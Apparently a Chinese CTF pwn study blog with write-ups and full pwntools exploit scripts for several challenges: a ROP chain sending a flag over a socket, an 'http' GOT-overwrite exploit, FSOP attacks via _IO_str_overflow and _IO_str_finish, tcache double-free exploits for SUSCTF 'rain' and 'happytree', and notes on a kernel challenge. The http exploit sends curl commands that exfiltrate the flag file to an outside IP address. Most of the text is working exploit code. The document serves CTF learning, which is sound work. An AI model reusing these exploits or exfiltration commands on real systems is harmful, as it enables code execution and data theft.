payload+=p64(pop_rax)+p64(41)+p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(1)+p64(pop_rdx)
payload+=p64(0)+p64(syscall_ret)
#connect(socketfd,server_addr,0x10)
payload+=p64(pop_rax)+p64(42)+p64(pop_rdi)
payload+=p64(1)+p64(pop_rsi)+p64(socket_addr)
payload+=p64(pop_rdx)+p64(0x10)+p64(syscall_ret)

#write
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(target)+p64(pop_rdx)+p64(0x30)
payload+=p64(syscall_ret)

payload=payload.ljust(0x1a0,'\x00')
#其中0100007f为127.0.0.1 e803 为03e8即1000,0002为AF_INET
payload+=p64(0x0100007f901f0002)+p64(0)
payload+='./flag'
payload=payload.ljust(0x200,'\x00')
sh.send(payload)

sh.interactive()
exp()

注意server_addr的格式,其中ip地址和端口号都得反着写。

http

第一看这么多的伪代码,看了一个下午才看明白,然后写脚本又花了很长时间,很麻烦,但也知道了很多东西。

难点

漏洞并不难以利用,但关键的是在茫茫码海中找见他,找见就很轻松了,漏洞主要来源于一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#得到elf_addr
if ( type == 102 )
{
if ( a5 > 0 )
continue;
memset(buf, 0, 0x800uLL);
if ( *(__int64 *)&s[7 * i + 2] <= 4 )
{
sprintf(
buf,
"Let us look. Oh! That is %p -> \"%s\".\n",
(&off_6140)[*(_QWORD *)&s[7 * i + 2]],
(&off_6140)[*(_QWORD *)&s[7 * i + 2]]);
v9 = strlen(buf);
send(acceptfd, buf, v9, 0);
continue;
}
#任意地址写
if ( type == 241 )
{
if ( a5 > 2 )
goto LABEL_36;
*(_QWORD *)(*(_QWORD *)&s[7 * i + 2] + *(_QWORD *)&s[7 * i + 4]) = *(_QWORD *)&s[7 * i + 6];
memset(buf, 0, 0x800uLL);
sprintf(buf, "All right.I know what you say.\n");
v11 = strlen(buf);
send(acceptfd, buf, v11, 0);
}

这是报文的目录的参数格式,在传参的时候需要base64编码(别问我怎么知道的),但是不能直接传编码后的字符串,得把后面的等号去掉才行(对比别人的wp发现的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct s{
int count;
uint32_t type;
uint64_t addr1;
uint64_t addr2;
uint64_t write_for_addr;
}
type==0xf1&&a5<=2:
*(addr1+addr2)=write_for_addr;
type==0x88&&a5<=1:
printf("%p",*(addr1+addr2))
type==0x66&&a5==0&&addr1<=4:
printf("%p->%s",(&off_6140[addr1]),(&off_6140[addr1]))
type==0x12&&addr1=='ping'&strlen(&addr2)<=0xf
show

然后利用上面代码的漏洞对got表发起攻击把strcmp改成system,但是注意不能system(“/bin/sh”),首先是shell的输入输出没有和socket绑定,其次当我们再次发送报文的时候会fork一个新进程来处理我们的报文,而不是发送给shell,所以需要反弹shell或者反弹flag,有很多反弹shell的命令但都没用,有两个反弹flag的命令能用。

1
2
system('curl 47.107.28.194/`cat flag`')
system('curl -X POST -F \"flag=@/flag\" 47.107.28.194:8080')

最后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
# ip='127.0.0.1'
# port=4000
ip='node4.buuoj.cn'
port=27718
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('./')
libc=ELF('./libc-2.31.so')
elf=ELF('./pwn')
sh=remote(ip,port)
payload1=p32(1)+p32(0x66)+p64(4)+p64(0)+p64(0)
payload1=base64.b64encode(payload1)
payload1=payload1.replace('=','')
url1='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n'.format(payload1)
print url1
sh.send(url1)
sh.recvuntil('Let us look. Oh! That is ')
elf_base=int(sh.recv(14),16)-0x4070
print hex(elf_base)
sh.close()
#


sh=remote(ip,port)
payload2=p32(1)+p32(0x88)+p64(elf_base)+p64(0x6070)+p64(0)
payload2=base64.b64encode(payload2)
payload2=payload2.replace('=','')
url2=url1='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n'.format(payload2)
sh.send(url2)
sh.recvuntil('OK! I give you some message!\nMessage: ')
printf_addr=int(sh.recv(14),16)
libc_base=printf_addr-libc.sym['printf']
print hex(printf_addr)
print hex(libc_base)
strcmp_got=elf_base+elf.got['strcmp']
system_addr=libc_base+libc.sym['system']
sh.close()
#


sh=remote(ip,port)
payload3=p32(2)+p32(241)+p64(strcmp_got)
payload3+=p64(0)+p64(system_addr)
payload3+=p32(0x22)+"curl 47.107.28.194/`cat flag`"
payload3=base64.b64encode(payload3)
payload3=payload3.replace('=','')
url3='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n'.format(payload3)
sh.send(url3)

sh.recvuntil('All right.I know what you say')
sh.close()

总结

对pwn理解的更深了,说白了就是对指定的ip和端口发起socket连接,然后把sh.send的内容发送给这个端口的应用。

最近做题感觉漏洞利用简单,代码审计困难的题目越来越多。

FShuiMaster

存在off by null漏洞,但只能申请largebin的堆块,所以可以进行larginbinattack,然后largebin上申请到的堆块可以泄露libc地址,在堆上布置然后打io_list_all就行了,重点讲一下io_list_all,我的主要学习来源是ctfwiki,对io_list_all的攻击也叫作FSOP.

在讲解FSOP前先讲一讲io_file结构,之前在stdout泄露libc基地址的时候讲过,但不是很深入,这里再梳理一次

io_file是一组织io操作的文件结构体,当打开有io操作的设备时就会生成对应的io_file结构体,比如stdout,stdin,stderr,io_file代码如下

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

file主要是对设备io操作的一些信息,vtable是一个虚表,里面记录了很多的函数地址,在io操作的时候会拿vtable里的地址跳转执行,据ctfwiki所说,在libc2.23的情况的下可以直接修改io_file_plus的vtable地址,可以伪造一个vtable然后修改io_file_plus的vtable地址指向我们的伪造的vtable(任意地址写),然后对vtable的使用情况填上ogg或者system_addr,这种方法只适合在Libc2.23使用(在libc2.23下vtable表是不可以写入的,所以不能修改vtable里的内容)。

注意io_file file并不是一个指针而是给他实际分配了空间io_file_plus的完全体实际上是这样的,其中vtable相对于io_file_plus的偏移是0xd8。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct _IO_FILE_plus
{
struct _IO_FILE file{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
const struct _IO_jump_t *vtable;
};

程序打开了很多设备代表着有很多的io_file_plus结构体,这些结构体以链表进行组织,其中next域是file的_chain,这个链表是单链表,链表头记录在io_list_all中,其中一般的链表头的io_file_plus是stderr

上面说了libc2.24以后不能伪造vtable了,主要是因为当使用vtable的时候就会对vtable进行范围检查,vtable得在这个范围内,虽说限制了vtable,但也存在漏洞,这个范围内也有很多我们可以利用的虚表,比如io_str_jumps或io_wfile_jumps他们里面也全部记录着函数指针,我们可以把vtable指向这两个地方比如io_str_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

其中_IO_str_overflow和IO_str_finish是我们主要利用的函数指针,_IO_str_overflow和IO_str_finish都存在相对地址调用,如_IO_str_overflow

_IO_str_overflow

new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);最后会调用fp+0xe0,然后参数是new_size,这个也是通过fp的内容计算出来的,下面是poc

1
2
3
4
5
6
7
8
9
10
11
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps
fp+0xe0=system

题目构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pay+=p64(0)*2
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])

只要fp这样构造然后调用_IO_str_overflow的时候最后就会执行system(‘/bin/sh’),现在问题是如何伪造io_file_plus以及如何执行_IO_str_overflow

上面提到过的,io_file_plus的头结点储存在io_list_all里面,所以可以覆盖io_list_all为我们可以控制的一段内存,比如堆,也就是说我们伪造了stferr的io_file_plus,然后在这段内存中构造上面的内容就好了。

函数IO_flush_all_lockp 会刷新所有文件流,内部会调用vtable+0x10的函数,当把vtable覆盖成io_str_jumps后vtable+0x10就是_IO_str_overflow函数地址,所以只要调用io_flush_all_lockp就好了,在程序main函数返回或者执行exit(0)或者执行abort时会调用io_flush_all_lockp函数,所以在fake_io_file_plus后触发io_flush_all_lockp就好了。

这是_IO_str_overflow的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
#sh=process('./pwn')
#sh= process(["./ld-2.27.so", "./pwn"], env={"LD_PRELOAD":"./libc-2.27.so"})
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
context.log_level='debug'
elf=ELF('./pwn')
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc=ELF('./libc-2.27.so')


sh.recvuntil('Please Write U Name on the Book\n\n')
sh.sendline('root')
def add(size,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('1')
sh.recvuntil('Number of words?')
sh.sendline(str(size))
sh.recvuntil('please input U character')
sh.send(content)

def edit(idx,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('2')
sh.recvuntil('please input the page U want 2 change')
sh.sendline(str(idx))
sh.recvuntil('Now Change U this page : ')
sh.send(content)

def free(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('3')
sh.recvuntil('please Input the page U want 2 tear off')
sh.sendline(str(idx))
sh.recvuntil('tear_off Finished\n')

def show(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('4')
sh.recvuntil('please Input The page U want 2 scan')
sh.sendline(str(idx))

def exp():
add(0x440,'a')#0
add(0x448,'a')#1
add(0x4f0,'a')#2
add(0x440,'a')#3
free(0)
edit(1,'a'*0x440+p64(0x8a0))
free(2)
add(0x440,'a')#4
show(1)
libc.address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
add(0x448,'a')#5 ->1
add(0x4f0,'a')#6

add(0x440,'a')#7
add(0x448,flat({0x440:"\x01"}))#8
add(0x450,'a')#9
add(0x440,'a')#10
free(7)
free(9)
add(0x500,'a')#11
add(0x440,'a'*8)#12
show(12)
sh.recvuntil('a'*8)
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x1ce0
print hex(heap_base)
add(0x440,'a')#13
# free(1)
# io_list_all=libc_base+libc.sym['_IO_list_all']
# add(0x500,'a')#14
# edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
# free(13)
# add(0x500,'a')#15
add(0x440,'a')#14
add(0x458,'a')#15
add(0x4f0,'a')#16
add(0x500,'a')#17
free(14)
edit(15,'a'*0x450+p64(0x8b0))
free(16)
add(0x448,'a')#18
add(0x458,'a')#19->15
add(0x4f0,'a')#20
free(1)
add(0x500,'a')#21
io_list_all=libc.sym['_IO_list_all']
edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
free(15)
add(0x500,'a')#22
# payload='\x00'*0x10+p64(0)+p64(1)
# payload+=p64(2)+p64(binsh_addr)
# payload=payload.ljust(0xa8-0x10,'\x00')
# payload+=p64(2)+p64(3)+p64(0)+p64(0)
# payload=payload.ljust(0xc8,'\x00')
# payload+=p64(libc_base+0x3e8360-0x8)+p64(0)
# payload+=p64(libc_base+libc.sym['system'])
pay = ''
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])
edit(19,pay+'\n')
edit(18,'a'*0x440+p64(0))
gdb.attach(sh)
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('5')
sh.interactive()
exp()

io_str_finish

除了io_str_overflow以外io_str_finish这个函数指针也可以使用,也是通过io_flush_all_lockp函数这个函数调用的,只要让vtable=io_str_jumps-,这个函数调用的是fp+0xe8,在对应位置填上system_addr就行。然后fp的伪造也比io_str_overflow简单

1
2
3
4
5
6
fp->_mode = 0
fp->_IO_write_ptr = 0xffffffff
fp->_IO_write_base = 0
fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end)
fp->_flags2 = 0
fp->_mode = 0
1
2
3
4
5
6
payload=p64(0)*2
payload+='\x00'*0x10+p64(0)+p64(1)
payload+=p64(2)+p64(binsh_addr)
payload=payload.ljust(0xa8-0x10,'\x00')
payload+=p64(2)+p64(3)+p64(0)+p64(0)
payload+=p64(libc_base+libc.sym['system'])

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

#sh=process('./pwn')
#sh= process(["./ld-2.27.so", "./pwn"], env={"LD_PRELOAD":"./libc-2.27.so"})
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
context.log_level='debug'
elf=ELF('./pwn')
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc=ELF('./libc-2.27.so')


sh.recvuntil('Please Write U Name on the Book\n\n')
sh.sendline('root')
def add(size,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('1')
sh.recvuntil('Number of words?')
sh.sendline(str(size))
sh.recvuntil('please input U character')
sh.send(content)

def edit(idx,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('2')
sh.recvuntil('please input the page U want 2 change')
sh.sendline(str(idx))
sh.recvuntil('Now Change U this page : ')
sh.send(content)

def free(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('3')
sh.recvuntil('please Input the page U want 2 tear off')
sh.sendline(str(idx))
sh.recvuntil('tear_off Finished\n')

def show(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('4')
sh.recvuntil('please Input The page U want 2 scan')
sh.sendline(str(idx))

def exp():
add(0x440,'a')#0
add(0x448,'a')#1
add(0x4f0,'a')#2
add(0x440,'a')#3
free(0)
edit(1,'a'*0x440+p64(0x8a0))
free(2)
add(0x440,'a')#4
show(1)
libc.address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
add(0x448,'a')#5 ->1
add(0x4f0,'a')#6

add(0x440,'a')#7
add(0x448,flat({0x440:"\x01"}))#8
add(0x450,'a')#9
add(0x440,'a')#10
free(7)
free(9)
add(0x500,'a')#11
add(0x440,'a'*8)#12
show(12)
sh.recvuntil('a'*8)
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x1ce0
print hex(heap_base)
add(0x440,'a')#13
# free(1)
# io_list_all=libc_base+libc.sym['_IO_list_all']
# add(0x500,'a')#14
# edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
# free(13)
# add(0x500,'a')#15
add(0x440,'a')#14
add(0x458,'a')#15
add(0x4f0,'a')#16
add(0x500,'a')#17
free(14)
edit(15,'a'*0x450+p64(0x8b0))
free(16)
add(0x448,'a')#18
add(0x458,'a')#19->15
add(0x4f0,'a')#20
free(1)
add(0x500,'a')#21
io_list_all=libc.sym['_IO_list_all']
edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
free(15)
add(0x500,'a')#22
payload='\x00'*0x10+p64(0)+p64(1)
payload+=p64(2)+p64(binsh_addr)
payload=payload.ljust(0xa8-0x10,'\x00')
payload+=p64(2)+p64(3)+p64(0)+p64(0)
payload=payload.ljust(0xc8,'\x00')
payload+=p64(libc_base+0x3e8360-0x8)+p64(0)
payload+=p64(libc_base+libc.sym['system'])
# pay = ''
# pay+= p64(0)*2
# pay+= p64(0)
# pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
# pay+= p64(0)*2
# pay+= p64((libc.search('/bin/sh').next()-100)/2)
# pay+= p64(0)*12
# pay+= p64(2)
# pay+= p64(3)
# pay+= p64(0)
# pay+= p64(0xffffffff)
# pay+= p64(0)*2
# pay+= p64(libc.address+0x3e8360)
# pay+= p64(libc.sym['system'])
edit(19,payload+'\n')
edit(18,'a'*0x440+p64(0))
gdb.attach(sh)
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('5')
sh.interactive()
exp()

SUSCTF PWN

rain

程序代码量比较大,看懂程序的逻辑就浪费了一些时间,然后我眼睛瞎了那么大的漏洞我都没看见

1
v7 = realloc(*((void **)a1 + 7), v6 - 18);

我第一次把v7看成了a[7],后面反复看代码的时候也没有注意这个,导致我一直没找见漏洞,在ayoung佬的提示下才发现,眼睛真的瞎了,然后在他的提示下发现远程版本的libc库还没有tcache保护,导致可以直接doublefree

1
2
1.rain的远程版本是libc2.7.so_1.2的,这个版本的tcache是没有key字段的,然后这个版本的io——list_all也是攻击的的,key字段的引入在libc2.27_1.3
2.了解到unsortedbin的具体失效版本是libc2.29

然后rain以后a[7]会清零,相当于拥有多个指针的ufa,直接利用,唯一麻烦的是指定运行库以后运行rain程序会退出,当时自己盲打了一会,ayoung佬给了我patch掉rain的程序,死高一,我都快忘了这个东西了。

结合上面的漏洞就是普通的tcache的ufa,可以修改任一地址,我修改的io_list_all指向堆,然后堆布置,这是完整代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so', './ttt'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'})
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
sh=remote("124.71.185.75",9999)
ogg=[0x4f365,0x4f3c2,0x10a45c]

def config(content):
sh.recvuntil('ch> ',timeout=6000)
sh.sendline('1')
sh.recvuntil('FRAME> ',timeout=6000)
sh.send(content)

def m():
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0x150+18,'a')
config(payload)
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0x60+18,'a')
config(payload)

def show():
sh.recvuntil('ch> ')
sh.sendline('2')

def rain():
sh.recvuntil('ch> ',timeout=6000)
sh.sendline('3')

def free():
payload=p32(20)+p32(20)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
config(payload)

def exp():
#gdb.attach(sh,'b *0x0000000000401694')
for i in range(7):
m()
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0xe0+18,'a')
config(payload)
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
config(payload)
show()
sh.recvuntil('Table: ')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
free_hook=libc_base+libc.sym['__free_hook']
print hex(libc_base)
# payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
# payload+=p32(300)
# payload=payload.ljust(18,'\x00')
# payload+=p64(libc_base+libc.sym['__malloc_hook']+0x10+96)*2
# payload=payload.ljust(0x50+18,'a')
# config(payload)
rain()
payload=p32(20)+p32(20)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0xe0+18,'\x00')
config(payload)
payload=p32(20)+p32(20)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload=payload.ljust(0xf0+18,'\x00')
config(payload)
free()
free()
#gdb.attach(sh)
show()
sh.recvuntil("Table: ")
heap_addr = u64(sh.recv(4)+"\x00"*4)
print hex(heap_addr)
rain()
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload+=p64(libc_base+libc.sym['_IO_list_all'])
payload=payload.ljust(0xf0+18,'a')
config(payload)
rain()
libc.address=libc_base
pay=p32(0x100)+p32(0x100)+'\x02'+'\x01'
pay+=p32(4)
pay=pay.ljust(18,'\x00')
pay+=p64(0)*2
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])
pay=pay.ljust(0xf0+18,'a')
config(pay)
rain()
payload=p32(0x100)+p32(0x100)+'\x02'+'\x01'
payload+=p32(4)
payload=payload.ljust(18,'\x00')
payload+=p64(heap_addr)
payload=payload.ljust(0xf0+18,'a')
config(payload)
#gdb.attach(sh)
sh.recvuntil('ch> ')
sh.sendline('4')
sh.interactive()
exp()
#SUSCTF{S0_Beautiful_Rain_adasda}

总结

首先远程很玄学,其次堆的地址的长度其实不是固定的,我的虚拟机上是6个字节,导致我以为远程也是6个字节,然后一直接收错误,麻了。

happytree

感觉漏洞不是很容易察觉,就是在有一个子节点的节点被删除时指向子节点的地址不会被删除,也就是多个指针指向同一个堆块(大忌),利用这一点可以直接doublefree,但是doublefree也不是随便就能搞的,在操作中很容易造成树变成循环树了,在删除节点时直接报错。然后暴露libc地址的时候也是利用malloc申请bins上的节点时不会清除fd和bk,所以从unsorted上申请到的堆的bk上就有libc地址(也可以利用这一点得知heap地址,但对此题无益),至于怎么填满tcache把堆放置到unsorted上,也是利用程序申请节点时的整数溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'})
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
sh=remote('124.71.147.225',9999)
def add_tree(size,content):
sh.recvuntil('cmd> ')
sh.sendline('1')
sh.recvuntil('data: ')
sh.sendline(str(size))
sh.recvuntil('content: ')
sh.send(content)

def show_tree(size):
sh.recvuntil('cmd> ')
sh.sendline('3')
sh.recvuntil('data: ')
sh.sendline(str(size))

def del_tree(size):
sh.recvuntil('cmd> ')
sh.sendline('2')
sh.recvuntil('data: ')
sh.sendline(str(size))

def exp():
for i in range(8):
add_tree(0xf0+i*0x100,'a')
for i in range(8):
del_tree(0xf0+(7-i)*0x100)
for i in range(8):
add_tree(0xf0+i*0x100,'a'*8)
show_tree(0xf0+7*0x100)
sh.recvuntil('a'*8)
libc_base=u64(sh.recv(6).ljust(0x8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
free_hook=libc_base+libc.sym['__free_hook']
print hex(libc_base)
add_tree(0xf0+8*0x100,'a')
add_tree(0xf0+9*0x100,'/bin/sh\x00')
add_tree(0xa0,'a')
add_tree(0xb0,'a')
add_tree(0xc0,'a')
del_tree(0xb0)
add_tree(0x40,'a')
del_tree(0x40)
add_tree(0xb0,'a')
del_tree(0xc0)
del_tree(0)
add_tree(0x1c0,p64(free_hook))
add_tree(0x2c0,'a')
del_tree(0xf0+8*0x100)
add_tree(0x3c0,p64(libc_base+libc.sym['system']))
del_tree(0xf0+9*0x100)
#gdb.attach(sh)
sh.interactive()
exp()
#SUSCTF{We_4re_pl4ying_unDer_th3_tRee}

kernelrop

不知道为啥今天忽然很累(可能是昨晚没睡好?),不怎么想学习,但想起来自己的kernelpwn才入门两天,不能在这个时候颓废,还是撸起袖子加油干吧。

今天看kernelpwn的第二道题

找题找了一会,忽然翻到了一个大佬的博客,是需要仰望的那种,很厉害啊。

题目分析

脚本分析

启动脚本

1
2
3
4
5
6
7
8
9
10
rootzhang@rootzhang-virtual-machine:~/kernelstudy/pwn2/give_to_player$ cat ./start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

-append选项是启动时的附加选项,’quiet kaslr’代表启动kaslr,其他的我也看不懂😴

文件系统的init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

有几行不能理解做了做下记录

